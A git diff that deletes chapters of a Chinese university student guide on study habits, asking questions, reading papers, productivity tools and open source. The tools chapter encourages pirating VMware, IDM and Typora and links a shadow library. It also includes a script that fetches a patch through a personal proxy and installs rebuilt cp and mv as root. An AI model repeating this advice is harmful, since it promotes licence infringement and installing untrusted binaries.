diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式.md deleted file mode 100644 index f8d7aad..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式.md +++ /dev/null @@ -1,31 +0,0 @@ -# 2.1.1 悲壮的学习方式 - -## 现状 - -::: tip - -引自上海交大生存指南 - -[https://survivesjtu.gitbook.io/survivesjtumanual/li-zhi-pian/bei-zhuang-de-xue-xi-fang-shi](https://survivesjtu.gitbook.io/survivesjtumanual/li-zhi-pian/bei-zhuang-de-xue-xi-fang-shi) - -::: - -古人刻苦学习的故事,直到现在还在我们的身边不断上演。学生趴在山一样高的习题集边上苦苦奋斗,绝对是我校作为国内一流大学的亮丽的风景线。 - -挖空心思研究解题技巧的学生们,与同样挖空心思研究出题技巧的老师们,构成了一个完美的圆环。在二者日复一日的机械劳动中,我只看到纸张、电力,以及粮食不断被浪费,却看不到中华之崛起。 - -我无意全盘否定同学们吃苦耐劳的精神,但这份精神充其量只能称为悲壮。我们耗费了大量的时间和精力掌握的那些考点、技巧,在真正的知识殿堂里根本登不上大雅之堂。哪怕我们特征值求得再熟练,积分积得再复杂,中国的载人飞船也不会因此而顺利上天。 - -## 解决 - -学习的时候,不要有负担心理。很多同学在学习知识的时候带着一种学不完或者学不会我就上吊算了的心态,其实这是比较危险的一种精神状态。 - -学东西并不是为了折磨我们的手段,而是我们用好奇心探索未知的一种体现形式。 - -而且我们在学习某些你认为意义不大或者和你现在的知识体系关联不大的东西的时候,比如大家经常诟病的一些通识课以及大物模电,我们应该有更高的追求,而不是简单的背诵课本 - -我们可以通过这些课程,来思考一下别的看待世界的角度和思考方式,或者通过一些通俗易懂的科普视频,去了解一下你感兴趣的点。 - -比如说学习大物的时候浅浅研究深入一下相对论的历史和研究过程(?)你说不定会就此打开新世界的大门。 - -总之,尽可能为未来的自己多留下一点东西吧! diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态.md deleted file mode 100644 index 57d8489..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态.md +++ /dev/null @@ -1,35 +0,0 @@ -# 2.1.2 浮躁的心理状态 - -## 现状 - -> 我明明很努力了,但是就是学不懂,群里的同学好像啥都会 WOC -> -> 我周围的同学怎么参加竞赛的科研经历丰富的都有就我是废物呜呜呜 -> -> 我的同学啥都有了但是我什么都没 -> -> 为什么我室友都脱单了我还是单身狗 - -浮躁,往往来源于和他人的比较是具有社会属性的我们的人之常情。 - -然而,我们往往不能从中获得任何鼓励反而深受打击。 - -## 解决方案 - -如果我在这里说戒骄戒躁一定会被打的(逃) - -学不懂一门课程,大可不必着急,慢慢来,也可以问问学长学姐或者思考一下这门课到底为什么如此组织。 - -多学会一个知识点,多掌握一点知识,现在的自己比以前好了就值得肯定。 - -人生的道路还很长,不要因为刚出发的一点小小的劣势就否认最终到达终点的自己。 - -很多时候我们这一代这么累,就是因为一直看着别人才磕磕绊绊的。 - -从当下浮躁的集体价值观中走出来吧。看清脚下的路是更重要的事。 - -人生的道路上有且仅有你一个人。 - -如果实在不行,来找 ZZM 聊聊吧。 - -![](https://cdn.xyxsw.site/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg) diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态.md deleted file mode 100644 index d61bdb1..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态.md +++ /dev/null @@ -1,95 +0,0 @@ -# 2.1.3 错误的提问姿态 - -## 现状 - -我们假定一个情况,如果你是一个医生,患者过来告诉你,我浑身都疼,医生我该怎么办啊。 - -然后你要慢慢询问他的问题,接着你要问各种问题各种检查然后去看,如果有十个人一百个人都这么问,你肯定会受不了的吧。 - -事实上,如果希望能提高得到回答的概率,提问者应该学会如何更好地提问。换句话说,提问者应该去积极思考 "我可以主动做些什么来让对方更方便地帮助我诊断问题". - -如果你的提问方式非常不专业,很可能没有人愿意关注你的问题,因为这不仅让人觉得你随便提的问题没那么重要,而且大家也不愿意花费大量的时间向你来回地咨询。 - - - -## 解决 - -一种非常合适的提问方式是: - -我在写 xxx 的时候遇到了 xxx 的错误(请发截图不要复制粘贴) - -我的版本是 XXX,官方文档给的版本是 XXX - -我做了这个来试着修正(贴图)根据的是 XXX 上的方法 - -然后出现了 XXX - -··········· - -最后我做的尝试是 XXX - -问题还是没有解决,现在我该怎么做? - -![](https://cdn.xyxsw.site/boxcnhuhE7qBLHyJKaesHGC033b.png) - -### 关于截图 - -如果你在问问题的时候掏出一张手机拍电脑🤳🖥️的图片,那么大概率会让想要帮助你解决问题的学长血压升高然后放弃回答你的问题。 - -除非遇到一些特殊情况(例如你的电脑进 BIOS 了),只能手机拍照,也请保证图片清晰便于识别。 - -![](https://cdn.xyxsw.site/2-1-3-2.jpg) - -在 wiki 的[2.2 优雅的使用工具](2.2优雅的使用工具.md),有推荐一些好用开源的截图工具 - -不过一般情况来说,Windows 的组合键`Win+Shift+S`截屏,在任意窗口按下这个组合键便可进入截屏模式,按住鼠标左键拖动框选区域即可截屏,使用`Ctrl+V`操作将截屏内容粘贴到想要保存的地方;如果已经登录了 QQ,那么 QQ 的截图快捷键默认是`Ctrl+Alt+A`,同样使用`Ctrl+V`粘贴截屏内容。 - -ps:QQ 有长截图的功能,妈妈再也不用担心我不会滚动捕捉了! - -记住这两个快捷键已经足够满足你对截图的 90% 的需求了 - -### 橡皮鸭 - -> 来自伯克利大学的学习建议 -◑ -当遇到问题时,除了截图外,试着组织语言来解释你遇到困难的地方。 - -![](https://cdn.xyxsw.site/2-1-3-1.jpg) - -**这并不需要一个找到懂得如何解决问题的人 (或者甚至是一个人 —— 这种做法通常被称为橡皮鸭,因为你可以把一只橡皮鸭当作你的练习对象) ,因为主要目标是让你弄清楚你自己的想法,弄清楚你的理解和代码到底在哪里卡住了。这样你可以知道应该专注于哪一部分,以便更好地理解。** - -### 欢迎大家阅读 - -[Stop-Ask-Questions-The-Stupid-Ways](https://github.com/tangx/Stop-Ask-Questions-The-Stupid-Ways/blob/master/README.md) 别像弱智一样提问 - -[How-To-Ask-Questions-The-Smart-Way](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md) 提问的智慧 - -## 关于如何搜索代码 - -如果我现在想要把图片读取并转换成灰度图,我该怎么去搜索呢? - -首先,我打算使用 python,所以我会搜索:“python 图片转灰度图” - -以下是我从搜索到的博客中找到的代码: - -```python -import cv2 as cv -img = cv.imread('lbxx.jpg',1) -img_1 = cv.cvtColor(img,cv.COLOR_BGR2GRAY) -cv.imshow('gray',img_1) -cv.imshow('colour',img) -cv.waitKey(0) -``` - -接下来,我会去搜索每行代码的作用:(以下是搜索后我做的注释) - -```python -import cv2 as cv # 调 opencv 库 -img = cv.imread('lbxx.jpg',1) # 读取图片(“图片路径”) -img_1 = cv.cvtColor(img,cv.COLOR_BGR2GRAY) # 转换成灰度图(图片,颜色模式) -cv.imshow('gray',img_1) # 展示图片(展示 img_1 为灰度图) -cv.imshow('colour',img) # 展示图片(展示 img 为彩色图) -cv.waitKey(0) # 保存展示窗口打开 -``` - -于是,我就不仅学会了如何转换灰度图,还学会了相关函数的用法。 diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜.md deleted file mode 100644 index d516005..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜.md +++ /dev/null @@ -1,29 +0,0 @@ -# 2.1.4 书籍的盲目崇拜 - -## 现状 - -很多同学在学习一个知识的时候,总是喜欢 - -"我们要学 C 语言,我买一本大黑书看看!" - -![](https://cdn.xyxsw.site/boxcnqsCWmUTDr5UDLYca9YkhHh.png) - -诚然,上面的各种书写的非常好,但是我们需要思考的是,阅读这些真的能达到我们想要的目标吗??? - -这些书为了保证准确性和严谨性,通常会采用不是一般人能看懂得话来进行解释 - -通常情况是,如果你阅读了一句话,用了解释这个词的意思用了三个你不懂的额外的词汇去解释,你去查这三个词汇的时候,又发现了五个你不懂的,无限循环下去。 - -## 解决 - -因此,当你只是为了学习一个简单的知识,或者说为了完成一个简单的目标的时候,肝书可能不是最高效的选择。最高效的方法可能是需要什么的时候就去学习这么一个单一的知识点,并且将他和现有的体系联系起来 - -> 来自 zzm 惨痛的教训 - -但是如果你想要系统的建立对某一门学科完整的认知,并且决心投入大量的时间时,我还是非常建议大家去看书的。 - -但是还有要注意的点是,最贵的,最专业的不一定是最好的,有时候可能简单的入门一点的书会更适合你呢 - -非常不错的电子书网站 - -[Z-Library](https://zh.singlelogin.re/) diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比.md deleted file mode 100644 index 0962ca9..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比.md +++ /dev/null @@ -1,21 +0,0 @@ -# 2.1.5 错误的学习配比 - -在学计算机科学的时候,总有人会问一些问题,类似于“我需要把这本书看完然后再开始 blabla 吗” - -“我需要看完某些课程然后再开始吗” - -其实这种想法是完全错误的。 - -在高中阶段,你可能需要先阅览课本,然后再做题,可计算机是一门实践学科,你是用这样的方法无疑是一个低效的行为。 - -我们推荐正确的操作是一边实践一边学习,如果你有什么不会的内容,再去额外查询,但是不要全陷进去,开始无限套娃模式的搜索。 - -你可以先阅览一小部分内容,有个大致的了解后再逐渐深入,并且最好是一边敲代码一边实践一边去做。 - -同时也有些同学可能犯的错误是我只看看我不写代码。 - -这也同样会让你飞速的忘记代码,或者说有的同学可能想偷懒,某些行代码他没看懂就跳过去了,其实这也是有问题的,因为你所有埋下的坑,可能都会在以后的实践中填回来。 - -在你完成这份讲义的时候,希望你可以有选择的阅览一部分,然后带着问题去看某些课,效率也会高很多。 - -![](https://cdn.xyxsw.site/boxcnSq1JzWhVrFs3MePPzp5Txg.jpg) diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提:摆脱高中思维.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提:摆脱高中思维.md deleted file mode 100644 index 1f44f83..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提:摆脱高中思维.md +++ /dev/null @@ -1,45 +0,0 @@ -# 2.1 高效的前提:摆脱高中思维 - -## 高中思维 - -高考,诚然为大众提供了阶级跃迁的途径 - -但是代价也是显而易见的:过度强化的训练和某种扭曲的价值观潜移默化的影响着我们。 - -我们在意着各种评判标准,GPA,竞赛的奖项,读研,工作的工资。 - -诚然,这些很重要,但是生活是没有所谓最优解的,在你一味的拿所谓标准当作自身的标尺的时候,无形之中,也让自己失去了独立思考的能力。 - -就算你把课本上的内容搞得再烂熟,绝不代表你真正对这门课能有什么理解。 - -**并且,全部依赖他人给你指明方向的人生已经结束了!** - -![](https://cdn.xyxsw.site/boxcne9EK3xz8LHOXfM8w9ih5Ig.png) - -你无法依赖大学里的老师还是家里的父母来为你指明所谓的方向,你的人生只属于你自己,你的道路也只能由你自己来思考。 - -考研的老师会更加重视你是否有能力与他进行利益交换,公司更在乎你是否可以为公司创造价值,想当然的思考已经无法跟上这个飞速运转的世界了。 - -## 大学现状 - -在这里引用一段上海交通大学生存指南的一段话。 - -> 在当今流水线式的教育体制下,我们就像廉价的零件一样被生产出来。因为数量巨大,没人会对每一个人的教学质量负责。 -> -> 领导不会为你负责。对于一个争做世界一流大学的研究型学校,管好科研,管好实验室才是当务之急。 -> -> 相比之下,本科生教学显得无利可图。教授也不会为你负责。拉到足够的经费发表足够的论文,满足学院要求才是生存大计。 -> -> 要说管学生,也肯定先要管好自己实验室的硕士博士,而非那一百多人大课堂里的某个本科生。就算是科研任务不太重的一些任课教师,他们也不会为你负责——学不懂?那是因为你智力低,要么就是自己底下不用功。为什么跟你一个班上的某某某同学,人家就能懂? -> -> 诚然,就算是老师上课说孟加拉语,一个班上也非常有可能冒出一两个翻翻书看看图就能学到八九不离十的同学(或者根本就是以前学过)。 -> -> 真正在课堂上口传心授的教学,其质量是不会有人过问的。教学评估会考察实验报告格式是否合格,出勤率是否够,但是绝对不会考察上百人的班上到底有几个听懂了的。 -> -> 试想一下,每个学院每个系有成百上千的学生,每人有着不同的思想、不同的目标、不同的知识背景、不同的接受力,我们怎么可能去指望一个统一的“教学培养计划”强制应用在每个人头上的时候,能够产生效果?好比说食堂师傅炒一大锅菜给上千人吃,我敢说我分到的那盘,不是炒糊就肯定得夹生。 -> -> 所谓“教学培养计划”,其科学性必须经过教育权威的论证。然而现实中塞给我们的推荐课表,却让人失望。且不深究选修课的分类、学分、毕业条件每年一个样,三年大变样,使得不少同学毕业前夕竞相奔走;甚至连两门相依赖课程的教学先后顺序都搞错过,这样的教学培养计划,实在让人难以信任 - -诚然,杭电不可避免地也会受相应的“学术共同体”的影响,波及了包括但不限于竞赛,授课质量,氛围引导方面诸多的影响。 - -但是不可否认的,杭电也有不少优秀的老师愿意投身于教育事业当中。并且,杭电仍然有不少教育资源,可以满足一个人的所需所求。~~(保研除外)~~ diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具.md b/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具.md deleted file mode 100644 index c31a4a0..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具.md +++ /dev/null @@ -1,79 +0,0 @@ -# 2.2 优雅的使用工具 - -::: tip 🤗 -如果你也有好的工具推荐,请补充喵~ -::: - -请大家记住使用工具的基本原则 **你所感到不方便的!都有工具解决!** - -因此本小节的核心要义在于推荐一些有趣的有助于提高效率的小工具。 - -## 电脑软件及插件 - -- [Everything](https://www.voidtools.com/zh-cn/downloads/) 电脑上的全局文件搜索 方便你找到不知道丢哪的文件 -- [SpaceSniffer](http://www.uderzo.it/main_products/space_sniffer/download.html) 快速分析硬盘空间占用情况 解放储存,不解放大脑 -- [Snipaste](https://zh.snipaste.com/) 全局截图工具,按 F1 键截图,F3 键贴图,简单够用 -- [eSearch](https://esearch.vercel.app/) 全局截图工具,优化了文字识别功能,可个性化,支持全平台 -- [ShareX](https://esearch.vercel.app/) 全局截图工具,功能非常强大,高度可个性化,仅支持 Win -- [IDM](https://www.internetdownloadmanager.com/) :好用的多线程下载器(付费的),想要免费的话可以搜一下绿色版之类的。(推荐设置线程数为 CPU 核心数的 2 倍,比如 8 核心的 CPU 设置线程数为 16) -- [XDM](https://github.com/subhra74/xdm) :IDM 的跨平台版本。 -- [uTools](https://www.u.tools/) :自由组合插件集(最好用的是 Alt+Space 搜索功能)非常强大,比如安装 fileshare 可以在局域网共享超大文件,而且是跨平台的。 -- [PowerToys](https://github.com/microsoft/PowerToys) :微软官方出品,包含诸多功能,解决 windows 下一些小痛点。 -- [Connect to Work or Games from Anywhere | Parsec](https://parsec.app/) :串流小工具,简单来说你就是可以在手机上玩电脑了,远程操作,极致体验~~(也可以玩游戏)~~ -- [VMware workstation](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.Y.3VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md):虚拟机就用它!但是最好自己找找盗版,正版要钱。 -- [cloc](https://github.com/AlDanial/cloc): 统计代码行数(空白行,注释行,代码行)的小工具 -- mv & cp 命令显示进度条:在复制大文件的时候非常友好,可以通过以下脚本安装(Linux 系统) - -```bash -#!/bin/bash -######################################################################### -# File Name: add-progess-bar-in-cp-mv.sh -# Author: steve -# mail: yqykrhf@163.com -# Created Time: Fri 05 Aug 2022 01:54:58 PM CST -# Reference: https://tinychen.com/20201128-add-progess-bar-in-cp-mv/ -######################################################################### -set -e -wget http://ftp.gnu.org/gnu/coreutils/coreutils-8.32.tar.xz -tar -xJf coreutils-8.32.tar.xz -cd coreutils-8.32/ -# Download patch -# 这里原本是ghproxy.com,但是现在被ban了,所以换成了我自建的cf worker -wget https://gh.dn11.top/https://raw.githubusercontent.com/jarun/advcpmv/master/advcpmv-0.8-8.32.patch -# Patching display with process bar -patch -p1 -i advcpmv-0.8-8.32.patch -# Compile then install -./configure -make -# Copy -sudo cp src/cp /usr/local/bin/cp -sudo cp src/mv /usr/local/bin/mv -# remove tmp files -cd .. -rm coreutils-8.32 coreutils-8.32.tar.xz -``` - -## 笔记工具 - -- [Typora](https://typora.io/) 付费的,~~你可以去并夕夕啊淘宝啊花个不多于 5 块钱的钱买盗版 😋~~,(正版 $14.99),真的好用,感觉没有 Markdown 编辑器能好用过 Typora🤥。 -- [MarkText](https://github.com/marktext/marktext) 免费的,平替 Typora。 -- [MiaoYan](https://github.com/tw93/MiaoYan) 仅支持 apple,界面挺清爽。 -- [思源笔记](https://b3log.org/siyuan/) 一个国产开源的笔记/知识库软件,优势是 本地化、双链、Markdown 语法,与 Obsidian 定位相似,但 Geek 成分和自定义空间相对更高 -- [Zotero](https://www.zotero.org/):协助文献阅读还有记录笔记,支持与平板同传(同时他是开源的,所以可以添加一些插件) - -![](https://cdn.xyxsw.site/boxcnO1PEsVd4KY7reeU64spShf.jpg) - -- [Notion](http://notion.so): 笔记终结者,非常强大,(设计理念被钉钉,飞书,我来非常抄袭)。在线就可以使用。 - -## 文献辅助阅读工具 - -- [知云文献翻译](https://www.zhiyunwenxian.cn/):可以有效帮助你翻译论文和文章甚至英文书籍 -- [Grammarly](https://www.grammarly.com/) : 英文语法纠正,有 word,浏览器等等插件 - -## 浏览器插件 - -- [沉浸式翻译](https://immersivetranslate.com/docs/installation/):中英文对照翻译,可以给你英文下面写一小行中文翻译(里面免费的 api 只有谷歌,必应,腾讯,不过够了,也可以自行配置其他 api) -- (你真的不玩原神吗)来试试这款原神浏览器插件 [派蒙 paimon](https://github.com/daidr/paimon-webext) :可以实时显示你的树脂,委托,派遣等情况提示。 -- [wappalyzer](https://www.wappalyzer.com/):如果你是个 web 仔,这个插件可以帮你检测网页所用的前后端技术栈。 -- [FeHelper--Web 前端助手](https://github.com/zxlie/FeHelper):十几个小工具的集合,包括 base64 离线解码等。 -- [darkreader](https://github.com/darkreader/darkreader):适应网页的暗色模式,夜深人静冲浪更爽 diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档(B百度爬).md b/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档(B百度爬).md deleted file mode 100644 index fbd8b3f..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档(B百度爬).md +++ /dev/null @@ -1,53 +0,0 @@ -# 2.3.1 阅读文档(破百度爬) - -## 查找教程 - -一般帮助我们快速入门的最好的教程是在官网上的。 - -比如 Pytorch 的官方文档(甚至有中文版哦)。 - -同时,在 Youtube 和 B 站上的不少资料也值得称道。 - -我不建议各位看黑马程序员,尚硅谷这种培训班的教程,太过细致反而有些本末倒置。 - -当然,我在本教程中也会给大家一些推荐。 - -不要用百度百科!太多错误了! - -## 查找资料 - -你应该使用下表中推荐的网站: - -一些说明: - -- 一般来说,百度对英文关键词的处理能力比不上 Google。 -- 通常来说,英文维基百科比中文维基百科和百度百科包含更丰富的内容。 -- 一些中文论坛内大家互相抄,很有可能你阅读了很久都没有找到正确的答案,并且英文社区内的内容远远比中文的要好。 - -## 英文阅读 - -随着科学技术的发展,在国际学术交流中使用英语已经成为常态:顶尖的论文无一不使用英文来书写,在国际上公认的计算机领域经典书籍也是使用英文编著。 - -顶尖的论文没有中文翻译版; 如果需要获取信息,也应该主动去阅读英文材料,而不是等翻译版出版。"我是中国人,我只看中文"这类观点已经不符合时代发展的潮流,要站在时代的最前沿,阅读英文材料的能力是不可或缺的。 - -阅读英文材料,无非就是"不会的单词查字典,不懂的句子反复读"。 - -如今网上有各种词霸可解燃眉之急,但英文阅读能力的提高贵在坚持。"刚开始觉得阅读英文效率低", 是所有中国人都无法避免的经历。 - -如果你发现身边的大神可以很轻松地阅读英文材料,那是因为他们早就克服了这些困难。引用陈道蓄老师的话:坚持一年,你就会发现有不同; 坚持两年,你就会发现大有不同。 - -当然也有一些巧妙地方法帮助大家进行阅读,比如知云文献翻译,不要依赖这类软件! - -## 合理使用代理服务 - -学会合理使用代理服务是非常重要的一步哦 - -无法给大家推荐,但是经常用的无非就是 , 等 - -如果不知道怎么办,可以求助(找学长) - - diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容.md deleted file mode 100644 index 4949c62..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容.md +++ /dev/null @@ -1,87 +0,0 @@ -# 2.3.2 检索论文核心内容 - -请克服对论文英文的恐惧,适当的利用翻译软件。 - -~~由于笔者只阅读过 CV 领域和 NLP 领域的一些文章,且阅读量并不算太高,故对论文的理解不仅有限且仅限于该领域内的论文风格和内容技巧,望读者见谅。~~ - -## 论文的一般结构 - -### 1. title(标题) - -首先是标题部分。 - -一般的标题主要包括两个内容:使用什么方法解决什么问题。以此高度概括文章的内容和工作。 - -还有一种标题是比较新颖的,会使用一些比喻性的手法吸引眼球 (一般人驾驭不住) - -论文作者会在标题下面指出,当我们的论文阅读量到一定程度之后可以关注一下作者。当我们在关注或研究某一个领域时,该领域的几篇重要论文读下来我们就可以知道哪个作者在该领域较为活跃,谁提出了 Backbone,谁在挖坑 (填坑)。可以通过作者进而检索到你感兴趣的工作或判断论文写作质量。 - -### 2. abstract(摘要) - -Abstract 是论文中一篇具有独立性的短文,用简单、明确、易懂、精辟的语言对全文内容加以概括,提取论文的主要信息。作者的观点、论文的主要内容、研究成果、独到的见解,这些都会在摘要中体现出来,是需要重点阅读的地方。 - -摘要在资料交流方面承担着至关重要的作用。摘要会收录到大型资料库中并为读者提供信息,因此我们可以通过摘要索引查找论文。 - -摘要的四要素:目的、方法、结果和结论称为摘要的四要素。 - -(1)目的:指出研究的范围、目的、重要性、任务和前提条件,不是主题的简单重复。 - -(2)方法:根据研究的主要内容和发现的问题,说明在这个过程中都做了哪些工作。(摘要中的方法不会太过详细,一般只会给出一个名词) - -(3)结果:陈述研究之后重要的新发现、新成果及价值,包括通过调研、实验、观察取得的数据和结果,并剖析其不理想的局限部分。 - -(4)结论:通过对这个课题的研究所得出的重要结论,包括从中取得证实的正确观点,进行分析研究,比较预测其在实际生活中运用的意义,理论与实际相结合的价值。 - -### 3. introduction(导言) - -Introduction 主要是对整篇论文的一个介绍,读者看完 introduction 后就知道论文的几乎所有工作。 - -Introduction 会说明论文的主题、范围和研究目的。 - -然后阐明研究的起因、背景及相关领域简要历史回顾。(前人做了哪些工作、哪些尚未解决、目前进展到何种程度等) 这一部分不同的论文情况不同,有些论文会单独拿出来作为一部分 (related work),当我们刚进入到某一个领域时,我们可以通过这一部分了解该领域的大致研究风格和该篇论文的研究路径,get 到作者的研究思路 (论文的这个课题存在有着哪些问题以及所面临怎样的挑战,发现前人工作的缺陷以及在此基础上的改进),有时可能会对我们的工作有启发。当然,如果我们对这一领域足够了解,可以不需要看这一部分,研究思路也可以在论文的方法部分自行体会。 - -### 4. method(提出的算法) - -此处为文章主体,详细介绍了他是怎么做的,~~如果需要复现的话需要仔细阅读这一部分~~,无论复现与否都需要详细阅读,理解具体操作与作者的理论并尽可能将二者结合~~(该领域的某些方面可解释性并不强)~~。读者不仅可以从该部分具体理解论文工作,还可以从中发现与前人工作的不同,并从中提出进一步改进。 - -### 5. experiment(实验) - -~~一般情况为介绍我为什么很牛逼,这里一般可以跳过如果不写文章的话~~ - -该部分一般会晒出工作的效果,我们可以从中更直观的体会工作的改进,甚至可以根据结果直接推断结果好坏的某些原因~~(不过一般论文中的图片当然都会放效果很好的以便作者吹逼,真想看效果建议复现工作)~~,大胆并合理的假设推理也是科研工作中不可缺少的一个能力。 - -### 6. conclusion(结论) - -~~Conclusion 结论部分,一般阅读完开头直接阅读结尾,就基本清楚文章脉络结构和思考方案了~~ - -结论和摘要的内容基本相似,但某些论文的结论中可能还会指出对该工作的不足之处,还有该领域内对该工作的一些期望 (挖坑)。 - -## 怎么用三遍读懂一篇论文 - -视频地址: [如何读论文【论文精读】](https://www.bilibili.com/video/BV1H44y1t75x) - - - -### 第一遍 (海选) - -阅读标题、摘要、结论。花费十几分钟时间了解论文是否适合你的研究方向。 - -看完之后可以再看一看方法和实验部分重要的图和表,进而判断这篇论文是否适合自己,是否和自己当前在做的工作相似。 - -### 第二遍 (大致把握) - -确定论文值得读之后,快速将整个论文过一遍,不需要知道所有的细节,先尝试去理解论文中重要的图和表,知道每一个部分在干什么,圈出比较重要的相关文献。 - -若到此为止:知道它解决什么问题,结果怎么样,大概用了什么方法,但是觉得文章很难看不太懂,可以去读他们之前引用的那些文章,读完之后再回头读这篇文章。 - -### 第三遍 (重点研读) - -第三遍是最详细的一遍,当我们在读第三遍时通常意味着我们对该论文的工作很感兴趣了,这时我们需要力争做到知道每一段和每一句都在说什么、干什么。基本了解整个文章的细节,在之后基于他做研究,或者在之后提到它的时候,可以详详细细的复述一遍。 - -脑补工作过程,在读的过程中,思考自己来完成作者所提出的问题时需要怎么做,需要用什么方法来实现这个东西;在读实验部分时,思考自己能不能比作者做的更好;作者留下的问题,思考自己能不能继续往前走。 - -## 深度学习领域论文快速阅读 - -如果你已经看过一定数量的论文,并对自己的论文阅读能力有信心,你可以选择直接看论文的模型图,再从模型图去理解网络。(事实上大部分的论文不值得你去精读) - -此法适用于需要阅读大量领域内相关论文时,可以一周十几篇。 diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区.md b/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区.md deleted file mode 100644 index cc56785..0000000 --- a/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区.md +++ /dev/null @@ -1,94 +0,0 @@ -# 2.3.3 优秀的开源社区 - -## 什么是开源? - -开源是源代码可以任意获取的计算机软件,这种软件的著作权持有人在软件协议的规定下保留一部分权利并允许用户学习、修改以及以任何目的向任何人分发该软件。 - -开源协议通常符合开放源代码的定义的要求。 - -但是后续因为各种原因(有一段有趣的历史,大伙可以去了解一下)开源也变为了很多种形式,比如说较为严格的,如果你使用了我的代码,你就必须也得开源,以及可以自由使用只需要标记参考了哪些源码就行。 - -这里面有非常多有趣的历史故事以及各种渊源,感兴趣的同学可以自行了解一下 - -## 灵活使用开源社区 - -开源社区有时候是我们大伙学习一个新技术,查找某一个资料非常好的一种方式。 - -例如中国的优秀开源社区,Datawhale,他们会有组队学习的活动,可以去查找他们的公众号,然后免费加入牵引着你学习某一个模块有趣的知识。 - -比如硬件的一生一芯,南大 nju 的开源项目,手把手教你做出一个 CPU,当然非常的困难,大家有兴趣可以报名 - -当然也有国内的厂商为了自己的生态搞出了一些开源社区,比如说 paddle 飞桨高校领航团,让你使用他们的技术,然后他们出资帮助你学习。 - -如果说国外的 - -[GitHub: Where the world builds software](https://github.com/)(全世界最大的开源社区) - -在本章内容 /技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git 与 github 中详细介绍了 github 和 git 的使用方法,大家可以参考一下 - -同时我介绍一个有趣的搜索信息的方法, - -举例:如果你想学习某个语言,可以在 github 上搜索 - -awesome(你想学的东西) - -例如 awesome C - -## 开源的意义 - -本章内容节选自 Datawhale 5 位成员在 AI TIME 的分享,《清华、北大、上交大、哈工大、中山大学 5 位同学眼中的开源》。 - -## Z 世代的开源新态度 - -杨毅远,王琦与江季作为《Easy RL: 强化学习教程》的作者,他们有着丰富的开源经历与感受。 - -杨毅远:开源收获的是一个正向反馈 - -在互联网上开源自己的论文代码、项目代码以及学习心得等内容,也有助于和他人沟通交流,收获的也是一个正向反馈。针对问题普通人如何实现开源,杨毅远认为还是要先拥抱开源,不必操之过急,开源工作需要是有意义的工作,是一个漫长的工作。 - -王琦:开源的过程虽然会占用自己的一部分时间,但这却是一个幸福的烦恼。 - -论文末尾大多会附上代码地址,即代码开源。大家在看到论文代码开源的情况下会认为这篇论文能够复现的可能性比较大。虽然在将开源项目发布到 GitHub 之后给他人问题答复的过程可能会占用自己的一部分时间,但这可以算是一个幸福的烦恼。 - -江季:敢于开源的人也是一个乐于分享,心态积极的人。 - -互联网上的开源是需要勇气的,毕竟开源后的代码要在互联网上面临网友们的考验。江季对于开源的领域也有自己独到的见解,他以春秋战国时期的百家争鸣为例,阐述了无论是对于工科生还是文科生,开源这件事都是很适用的。 - -张文涛:能够与志同道合的人交流,是开源过程中至关重要的一环。 - -开源不是一个瞬间,而是需要持续地去做,无论是主动还是被动。将项目发布到网络上只是一个起点,之后反复与他人交流和解决问题,进而对项目进行不断的修正。 - -陈安东:要像种一棵树一样等到自己的开源工作开花结果。 - -开源可以分为三点:首先是要知道自己想要什么;第二点是做开源一定要有始有终,只有完整的开源工作才能被大家使用和学习,完整的工作才能在之后有优化迭代的空间;第三是要有一个”开源是一个长期的过程”这样的心态。 - -## 作为年轻一代,我们眼中的企业开源 - -王琦:企业的目的可能是先通过开源抢占市场,后续再通过推行定制化的服务来盈利。 - -陈安东:开源是一种企业与市场自我革命的做法,这种革命能够促进技术的发展,最终为用户带来好处。 - -一个行业的开源企业对传统 1 对 1 